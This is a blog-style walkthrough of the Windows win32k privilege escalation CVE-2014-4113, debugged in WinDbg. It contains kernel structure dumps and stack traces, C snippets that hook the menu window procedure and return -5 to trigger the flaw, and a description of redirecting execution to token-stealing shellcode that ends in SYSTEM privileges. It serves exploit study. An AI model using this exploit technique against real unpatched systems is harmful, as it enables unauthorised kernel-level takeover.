understaning CVE-2014-4113 win32k vuln with windbg

TL;DR

This is taken from the mwri labs doc in links below.

The vulnerability is in the function win32k!xxxHandleMenuMessages. When it calls the function xxxMNFindWindowFromPoint, which can either return a pointer to a win32k!tagWND structure or an error code which can be -1 or -5. xxxMNFindWindowFromPoint only checks if the error code -1 has been returned and will pass -5 to xxxSendMessage as if it’s a valid pointer which will then call a function it expects the tagWND structure to contain a pointer to.

Full credit and kudos to folks in the links for their hardwork and detailed analysis. I am just trying to understand and debug the issue, while having some fun with windbg and documenting the same for my reference.



Understanding POC and intial setup



  • Create 2 popupmenu where one of them is a submenu of the other each having 1 menu item.
  • Create a window that receives messages via wndproc for notification.
  • Another thing to note is that menu handling code resides inside win32k.sys(kernel). Which also create an additional Menu window with server side wndproc (xxxMenuWindowProc). That does all the processing for handling menu related functionality inside win32k.sys.

This msdn link explains menu and related functionality in great detail. About Menu



Let’s inspect the current state of objects in windbg.


Note so far only popup menus have been created but not yet linked with the window for further notifications. That is done later TrackPopupMenu.

1: kd> dv /v /t
0076fb2c          void * lpParameter = 0x00000000
0076fae0          struct tagWNDCLASSA wndClass = struct tagWNDCLASSA
0076fb10          struct HMENU__ * hMenu = 0x01c10273 <--- HMenu2
010c2e98          char * szWindowClass = 0x010c2eac "HACKSYS_CLASS"
0076fb1c          struct HWND__ * hWindow = 0x000501de

1: kd> x win32k!gSharedInfo
9271d1e0          win32k!gSharedInfo = <no type information>
1: kd> dt win32k!tagSHAREDINFO 9271d1e0
   +0x000 psi              : 0xff9d0578 tagSERVERINFO
   +0x004 aheList          : 0xff910000 _HANDLEENTRY
   +0x008 HeEntrySize      : 0xc
   +0x00c pDispInfo        : 0xff9d1728 tagDISPLAYINFO
   +0x010 ulSharedDelta    : 0
   +0x014 awmControl       : [31] _WNDMSG
   +0x10c DefWindowMsgs    : _WNDMSG
   +0x114 DefWindowSpecMsgs : _WNDMSG

# Standard trick to go from usermode to kernel addresses (refer Tarjei's paper)
1: kd> dt win32k!_HANDLEENTRY 0xff910000+@@(sizeof(win32k!_HANDLEENTRY))*273 <-- Lower byte
   +0x000 phead            : 0xfea1a430 _HEAD
   +0x004 pOwner           : 0xfe9cf008 Void
   +0x008 bType            : 0x2 ''
   +0x009 bFlags           : 0 ''
   +0x00a wUniq            : 0x1c1 <--- Validator bits

# Dumping it as tagMENU object with type = 2 (TYPE_MENU), so far this is not
# linked with the Window. That we have created for notification. That will be
# done via TrackpopupMenu(...)

1: kd> dt win32k!tagMENU -b 0xfea1a430
   +0x000 head             : _PROCDESKHEAD
   +0x014 fFlags           : 1
   +0x018 iItem            : 0
   +0x01c cAlloced         : 8
   +0x020 cItems           : 1      <--- Number of Menu Items
   +0x024 cxMenu           : 0
   +0x028 cyMenu           : 0
   +0x02c cxTextAlign      : 0
   +0x030 spwndNotify      : (null) <--- Not Yet set untill TrackPopupMenu
   +0x034 rgItems          : 0xfea23f58
   +0x038 pParentMenus     : (null)
    <snipped>

1: kd> dx -id 0,0,85bc4030 -r1 ((win32k!tagITEM *)0xfea23f58)
((win32k!tagITEM *)0xfea23f58)                 : 0xfea23f58 [Type: tagITEM *]
    [+0x000] fType            : 0x0 [Type: unsigned int]
    [+0x004] fState           : 0x0 [Type: unsigned int]
    [+0x008] wID              : 0x0 [Type: unsigned int]
    [+0x00c] spSubMenu        : 0xfea236a0 [Type: tagMENU *] <---- HMenu1 is a submenu of HMenu2
    <snipped>

# HMenu1 is a submenu of HMenu2

1: kd> dx -id 0,0,85bc4030 -r1 ((win32k!tagMENU *)0xfea236a0) <--- HMenu1
((win32k!tagMENU *)0xfea236a0)                 : 0xfea236a0 [Type: tagMENU *]
    [+0x000] head             [Type: _PROCDESKHEAD]
    [+0x014] fFlags           : 0x1 [Type: unsigned long]
    [+0x018] iItem            : 0x0 [Type: int]
    [+0x01c] cAlloced         : 0x8 [Type: unsigned int]
    [+0x020] cItems           : 0x1 [Type: unsigned int]
    [+0x024] cxMenu           : 0x0 [Type: unsigned long]
    [+0x028] cyMenu           : 0x0 [Type: unsigned long]
    [+0x02c] cxTextAlign      : 0x0 [Type: unsigned long]
    [+0x030] spwndNotify      : 0x0 [Type: tagWND *]
    [+0x034] rgItems          : 0xfea1a0c8 [Type: tagITEM *]
    [+0x038] pParentMenus     : 0xfea07f00 [Type: tagMENULIST *]
    <snipped>
1: kd> dx -id 0,0,85bc4030 -r1 ((win32k!tagITEM *)0xfea1a0c8)
((win32k!tagITEM *)0xfea1a0c8)                 : 0xfea1a0c8 [Type: tagITEM *]
    [+0x000] fType            : 0x800 [Type: unsigned int]
    [+0x004] fState           : 0x3 [Type: unsigned int]
    [+0x008] wID              : 0x0 [Type: unsigned int]
    [+0x00c] spSubMenu        : 0x0 [Type: tagMENU *] <--- HMenu1 has no submenu
    <snipped>



Let’s dump the state during hook callback.


We set this hook just to receieve the initial(undoc) message on the Menu Window. Message that we receive is 0x1eb i.e. MN_FINDMENUWINDOWFROMPOINT. We want to override the window proc associated with this default system class window that is a Menu Window. Note menu related code is handled inside win32k.sys.

WH_CALLWNDPROC

tagCLS

0x0001 CSF_SERVERSIDEPROC all

// Unhook the applied hook on WH_CALLWNDPROC
if (UnhookWindowsHook(WH_CALLWNDPROC, WndProcCallbackHook))
{
   // set new address of lpfnWndProc callback function
   oldWndProc = (WNDPROC)SetWindowLongPtr(pCwpStruct->hwnd, GWL_WNDPROC, (ULONG_PTR)SubClassNewWndProc);
}


0: kd> kvn
 # ChildEBP RetAddr  Args to Child
00 0076f90c 77866d80 00000000 00000000 0076f964 CVE_2014_4113!WndProcCallbackHook+0x74 (FPO: [Non-Fpo]) (CONV: stdcall)
01 0076f940 77866e24 00040000 00000000 0076f964 USER32!DispatchHookA+0x104 (FPO: [Non-Fpo])
02 0076f974 7787f0a3 0111a9f0 000001eb 0076f9a4 USER32!fnHkINLPCWPSTRUCTA+0x52 (FPO: [Non-Fpo])
03 0076f99c 77d56fee 0076f9b4 00000018 0076fb60 USER32!__fnOUTDWORDINDWORD+0x2a (FPO: [Non-Fpo])
04 0076f99c 82acf588 0076f9b4 00000018 0076fb60 ntdll!KiUserCallbackDispatcher+0x2e (FPO: [0,0,0])
05 00000000 00000000 00000000 00000000 00000400 nt!KiCallUserMode+0x4 (FPO: [3,0,4])


0: kd> p
CVE_2014_4113!WndProcCallbackHook+0x74:
0102f6b4 cmp     esi,esp
0: kd> dv /v /t
0076f904          struct tagCWPSTRUCT * pCwpStruct = 0x0076f964
0076f914          int nCode = 0
0076f918          unsigned int wParam = 0
0076f91c          long lParam = 0x76f964
0: kd> dx -r1 ((CVE_2014_4113!tagCWPSTRUCT *)0x76f964)
((CVE_2014_4113!tagCWPSTRUCT *)0x76f964)                 : 0x76f964 [Type: tagCWPSTRUCT *]
    [+0x000] lParam           : 0x0 [Type: long]
    [+0x004] wParam           : 0x76f9a4 [Type: unsigned int]
    [+0x008] message          : 0x1eb [Type: unsigned int]
    [+0x00c] hwnd             : 0x601ae [Type: HWND__ *]
0: kd> dt win32k!_HANDLEENTRY 0xff910000+@@(sizeof(win32k!_HANDLEENTRY))*1ae
   +0x000 phead            : 0xfea1a9f0 _HEAD
   +0x004 pOwner           : 0xfe665dd8 Void
   +0x008 bType            : 0x1 ''
   +0x009 bFlags           : 0 ''
   +0x00a wUniq            : 6

0: kd> dt win32k!tagWND -b lpfnWndProc pcls 0xfea1a9f0
   +0x060 lpfnWndProc : 0x9263e37e
   +0x064 pcls        : 0xfea23718

0: kd> ln 0x9263e37e
(9263e37e)   win32k!xxxMenuWindowProc   |  (9263f318)   win32k!IncSFWLockCount
Exact matches:
    win32k!xxxMenuWindowProc (_xxxMenuWindowProc@16)

0: kd> dx -id 0,0,85bc4030 -r1 ((win32k!tagCLS *)0xfea23718)
((win32k!tagCLS *)0xfea23718)                 : 0xfea23718 [Type: tagCLS *]
    [+0x000] pclsNext         : 0xfea1a628 [Type: tagCLS *]
    [+0x004] atomClassName    : 0x8000 [Type: unsigned short]
    [+0x006] atomNVClassName  : 0x8000 [Type: unsigned short]
    [+0x008] fnid             : 0x29c [Type: unsigned short]
    <snipped>
    [+0x016] CSF_flags        : 0x341 [Type: unsigned short]
    [+0x030] style            : 0x20808 [Type: unsigned int]
    <snipped>
    [+0x034] lpfnWndProc      : 0x9263e37e [Type: long (*)(tagWND *,unsigned int,unsigned int,long)]
    <snipped>
    [+0x054] lpszAnsiClassName : 0xfea07458 : "#32768" [Type: char *]
    <snipped>

# Override Menu WNDPROC with user mode WNDPROC.

CVE_2014_4113!WndProcCallbackHook+0x142:
0102f782 mov     esi,esp
0: kd> dt win32k!tagWND -b lpfnWndProc pcls 0xfea1a9f0
   +0x060 lpfnWndProc : 0x0102ae0e
   +0x064 pcls        : 0xfea23718

0: kd> ln 0x0102ae0e
(0102ae0e)   CVE_2014_4113!ILT+11785(_SubClassNewWndProc



Immediately our WndProc is hit with 0X1ED



1: kd> kn
 # ChildEBP RetAddr
00 0076f874 7784c4e7 CVE_2014_4113!SubClassNewWndProc+0x55
01 0076f8a0 7784c5e7 USER32!InternalCallWinProc+0x23
02 0076f918 77844f0e USER32!UserCallWinProcCheckWow+0x14b
03 0076f974 7787f0a3 USER32!DispatchClientMessage+0xda
04 0076f99c 77d56fee USER32!__fnOUTDWORDINDWORD+0x2a
05 0076f99c 82acf588 ntdll!KiUserCallbackDispatcher+0x2e
06 00000000 00000000 nt!KiCallUserMode+0x4

1: kd> dv /v /t
0076f87c          struct HWND__ * hWnd = 0x000601ae <-- Same Menu window (server side)
0076f880          unsigned int message = 0x1eb <-- MN_FINDMENUWINDOWFROMPOINT (Vuln)
0076f884          unsigned int wParam = 0x76f9a4
0076f888          long lParam = 0
0076f86c          long lResult = 0



Let’s put breakpoint on few important functions



0: kd> ba e1 win32k!xxxSendMessageTimeout+0xad ".if (@esi==0xfffffffb) {} .else {g;}"
0: kd> bl
     0 e Disable Clear  9263959e e 1 0001 (0001) win32k!xxxMNFindWindowFromPoint
     1 e Disable Clear  925b93f4 e 1 0001 (0001) win32k!xxxSendMessageTimeout+0xad ".if (@esi==0xfffffffb) {} .else {g;}"



Trigger vulnerability by ending the menu and returning -5


Where the vulnerability lies and we end up interpreting this returned value as a valid window handle(tagWND).


RESULT CALLBACK SubClassNewWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
LRESULT lResult = {0};

switch (message)
{
   case MN_FINDMENUWINDOWFROMPOINT:
      // end the calling thread's active menu
      // so that user does not see the menu
      DebugBreak ();
      EndMenu();

      DEBUG_MESSAGE("[+] Triggering Vulnerability\n");

      // vulnerability lies here
      // this value is used as memory address without validating
      lResult = -5;  <--- Return to xxxMNWindowFromPoint(..)
      break;
   default:



Finally return back to kernel with lResult=-5(fffffffb)



1: kd> kvn
 # ChildEBP RetAddr  Args to Child
00 93603a50 92639603 fffffffb fde46848 9271f580 win32k!IsMFMWFPWindow (FPO: [Non-Fpo])
01 93603a90 92638e16 0076f9b4 93603afc 00000000 win32k!xxxMNFindWindowFromPoint+0x65 (FPO: [Non-Fpo])
02 93603aec 92638c1f 93603b0c 9271f580 00000000 win32k!xxxHandleMenuMessages+0x9e (FPO: [Non-Fpo])
03 93603b38 9263f8f1 fde46848 9271f580 00000000 win32k!xxxMNLoop+0x2c6 (FPO: [Non-Fpo])
04 93603ba0 9263f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
05 93603c14 82a8e1ea 01c10273 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [Non-Fpo])
06 93603c14 77d570b4 01c10273 00000000 ffffd8f0 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 93603c34)
07 0076f9c8 7786483e 77852243 01c10273 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
08 0076f9cc 77852243 01c10273 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
09 0076f9ec 0102eedd 01c10273 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
0a 0076fb24 76883c45 00000000 0076fb70 77d737f5 CVE_2014_4113!ExploitThread+0x20d (FPO: [Non-Fpo]) (CONV: stdcall)
0b 0076fb30 77d737f5 00000000 77b65d12 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0c 0076fb70 77d737c8 010299eb 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0d 0076fb88 00000000 010299eb 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

1: kd> r
eax=fea1a9f0 ebx=93603afc ecx=93603a78 edx=93603b78 esi=fffffffb edi=fde46848
eip=92645a14 esp=93603a54 ebp=93603a90 iopl=0         nv up ei pl nz ac pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000217
win32k!IsMFMWFPWindow:
0008:92645a14 mov     edi,edi

1: kd> u 92639603-10
win32k!xxxMNFindWindowFromPoint+0x55:
926395f3 push    edi
926395f5 dec     dword ptr [ebx+0A25E8F0h]
926395fb stc
926395fc call    dword ptr [esi-18h]
926395ff adc     esp,eax
92639601 add     byte ptr [eax],al
92639603 test    eax,eax
92639605 je      win32k!xxxMNFindWindowFromPoint+0x74 (92639612)
1: kd> u 92639603
win32k!xxxMNFindWindowFromPoint+0x65:
92639603 test    eax,eax
92639605 je      win32k!xxxMNFindWindowFromPoint+0x74 (92639612)
92639607 mov     dl,1
92639609 mov     ecx,esi
9263960b call    win32k!HMValidateHandleNoSecure (925c6a9f)
92639610 mov     esi,eax
92639612 test    esi,esi <--------  esi now contains the controlled value
92639614 je      win32k!xxxMNFindWindowFromPoint+0x86 (92639624)


1: kd> r
eax=fffffffb ebx=00000000 ecx=93603a78 edx=93603b78 esi=9271f580 edi=fde46848
eip=92639620 esp=93603a68 ebp=93603a90 iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282
win32k!xxxMNFindWindowFromPoint+0x82:
0008:92639620 leave



Now we reach inside xxxSendMessageTimeout



xxxMNFindWindowFromPoint ends up returning fffffffb as a valid PWND Which invokes xxxSendMessageTimeout, where we need to ensure that all the checks are passed properly to reach the vulnerable place. i.e. lpwndProc offset of PWND i.e. 0x60h and make a call to our shellcode.

sendmessagetimeout


0: kd> p
win32k!xxxSendMessageTimeout+0xad:
0008:925b93f4 mov     edi,dword ptr [win32k!gptiCurrent (9271eb58)]
0: kd> kvn
 # ChildEBP RetAddr  Args to Child
00 93603a64 925b95c5 fffffffb 000001ed 0076f9b4 win32k!xxxSendMessageTimeout+0xad (FPO: [Non-Fpo])
01 93603a8c 926392fb fffffffb 000001ed 0076f9b4 win32k!xxxSendMessage+0x28 (FPO: [Non-Fpo])
02 93603aec 92638c1f 93603b0c 00000000 0076f9b4 win32k!xxxHandleMenuMessages+0x582 (FPO: [Non-Fpo])
03 93603b38 9263f8f1 fde46848 9271f580 00000000 win32k!xxxMNLoop+0x2c6 (FPO: [Non-Fpo])
04 93603ba0 9263f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
05 93603c14 82a8e1ea 01c10273 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [Non-Fpo])
06 93603c14 77d570b4 01c10273 00000000 ffffd8f0 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 93603c34)
07 0076f9c8 7786483e 77852243 01c10273 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
08 0076f9cc 77852243 01c10273 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
09 0076f9ec 0102eedd 01c10273 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
0a 0076fb24 76883c45 00000000 0076fb70 77d737f5 CVE_2014_4113!ExploitThread+0x20d (FPO: [Non-Fpo]) (CONV: stdcall) [j:\dev\temp\exploit\poc\exploitation\source\exploit\cve-2014-4113\cve-2014-4113.c @ 421]
0b 0076fb30 77d737f5 00000000 77b65d12 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0c 0076fb70 77d737c8 010299eb 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0d 0076fb88 00000000 010299eb 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

0: kd> r
eax=fffffe0d ebx=000001ed ecx=927120e4 edx=93603b78 esi=fffffffb edi=00000000
eip=925b93f4 esp=93603a3c ebp=93603a64 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
win32k!xxxSendMessageTimeout+0xad:
0008:925b93f4 mov     edi,dword ptr [win32k!gptiCurrent (9271eb58)] ds:0023:9271eb58=fe665dd8

0: kd> * Finally we hit our vulnerable function, which we end up calling
0: kd> * On a fake window object that has all the needed offsets setup correctly to bypass the checks
0: kd> * so that we can execute the shellcode in the context of kernel.

0: kd> u
925b94e8 push    dword ptr [ebp+14h]
925b94eb push    dword ptr [ebp+10h]
925b94ee push    ebx
925b94ef push    esi
win32k!xxxSendMessageTimeout+0x1a9:
925b94f0 call    dword ptr [esi+60h] <------- Time to call the shellcode
925b94f3 mov     ecx,dword ptr [ebp+20h]
925b94f6 test    ecx,ecx
925b94f8 je      win32k!xxxSendMessageTimeout+0x24a (925b9591)
925b94fe mov     dword ptr [ecx],eax
925b9500 jmp     win32k!xxxSendMessageTimeout+0x243 (925b958a)
925b9505 push    0
925b9507 push    0


bypass checks


xxxsendmessagetimeout checks



Finally we jmp to our shellcode, bypassing all the checks above.



We need to make sure that when we return back to kernel, the stack is cleaned up properly. So that stack is unwind properly without any crash inside kernel.

0: kd> kvn
 # ChildEBP RetAddr  Args to Child
00 93603a24 925b94f3 fffffffb 000001ed 0076f9b4 CVE_2014_4113!TokenStealingShellcodeWin7+0x26 (FPO: [Non-Fpo]) (CONV: stdcall)
01 93603a64 925b95c5 fffffffb 000001ed 0076f9b4 win32k!xxxSendMessageTimeout+0x1ac (FPO: [Non-Fpo])
02 93603a8c 926392fb fffffffb 000001ed 0076f9b4 win32k!xxxSendMessage+0x28 (FPO: [Non-Fpo])
03 93603aec 92638c1f 93603b0c 00000000 0076f9b4 win32k!xxxHandleMenuMessages+0x582 (FPO: [Non-Fpo])
04 93603b38 9263f8f1 fde46848 9271f580 00000000 win32k!xxxMNLoop+0x2c6 (FPO: [Non-Fpo])
05 93603ba0 9263f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
06 93603c14 82a8e1ea 01c10273 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [Non-Fpo])
07 93603c14 77d570b4 01c10273 00000000 ffffd8f0 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 93603c34)
08 0076f9c8 7786483e 77852243 01c10273 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
09 0076f9cc 77852243 01c10273 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
0a 0076f9ec 0102eedd 01c10273 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
0b 0076fb24 76883c45 00000000 0076fb70 77d737f5 CVE_2014_4113!ExploitThread+0x20d (FPO: [Non-Fpo]) (CONV: stdcall) [j:\dev\temp\exploit\poc\exploitation\source\exploit\cve-2014-4113\cve-2014-4113.c @ 421]
0c 0076fb30 77d737f5 00000000 77b65d12 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0d 0076fb70 77d737c8 010299eb 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0e 0076fb88 00000000 010299eb 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
0: kd> gu
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
win32k!xxxSendMessageTimeout+0x1ac:
0008:925b94f3 mov     ecx,dword ptr [ebp+20h]
0: kd> * Return back to the caller in kernel for cleanup and unwinding

 # Chcek our process token, indicating SYSTEM priv.

0: kd> !token
Thread is not impersonating. Using process token...
_EPROCESS 0xffffffff85bc4030, _TOKEN 0x0000000000000000
TS Session ID: 0
User: S-1-5-18
User Groups:
 00 S-1-5-32-544
    Attributes - Default Enabled Owner
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-11
    Attributes - Mandatory Default Enabled
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
 02 0x000000002 SeCreateTokenPrivilege            Attributes -
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes -
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default
 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes -
 07 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default <--- YAY, SYSTEM !!!
 08 0x000000008 SeSecurityPrivilege               Attributes -
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes -
 10 0x00000000a SeLoadDriverPrivilege             Attributes -
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled Default
 12 0x00000000c SeSystemtimePrivilege             Attributes -
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled Default
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled Default
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled Default
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled Default
 17 0x000000011 SeBackupPrivilege                 Attributes -
 18 0x000000012 SeRestorePrivilege                Attributes -
 19 0x000000013 SeShutdownPrivilege               Attributes -
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled Default
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled Default
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes -
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
 25 0x000000019 SeUndockPrivilege                 Attributes -
 28 0x00000001c SeManageVolumePrivilege           Attributes -
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes -
 32 0x000000020 SeRelabelPrivilege                Attributes -
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token NOT in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0



On returning back. We get our system cmd prompt.



System

Minor change i had to make in the POC to avoid crash during shellcode’s stack cleanup.

code with fix in shellcode cleanup

Following through poc shared by the folks refrenced in links was really awesome. Thanks again for all the awesome findings and sharing by all the folks. These kind of POC are really an interesting and fun way to learn the mechanisms and overall process behind exploitation techniques.

References

win32k tarjei mandt

samb-poc

mwri-lab-exploiting-cve-2014-4113.pdf

hacksystem

2021

memory tracking through nt!PoolHitTag

8 minute read

Let’s explore how nt!PoolHitTag can be useful for while tracking memory issues. Along with useful windbg command like !pool, !poolfind, !verifier etc.

Lost registers during kernel debugging Win7

less than 1 minute read

When kernel debugging an old target like Windows 7 after a long time using windbg. I noticed not being able to see the registers in register pane. That was k...

Back to Top ↑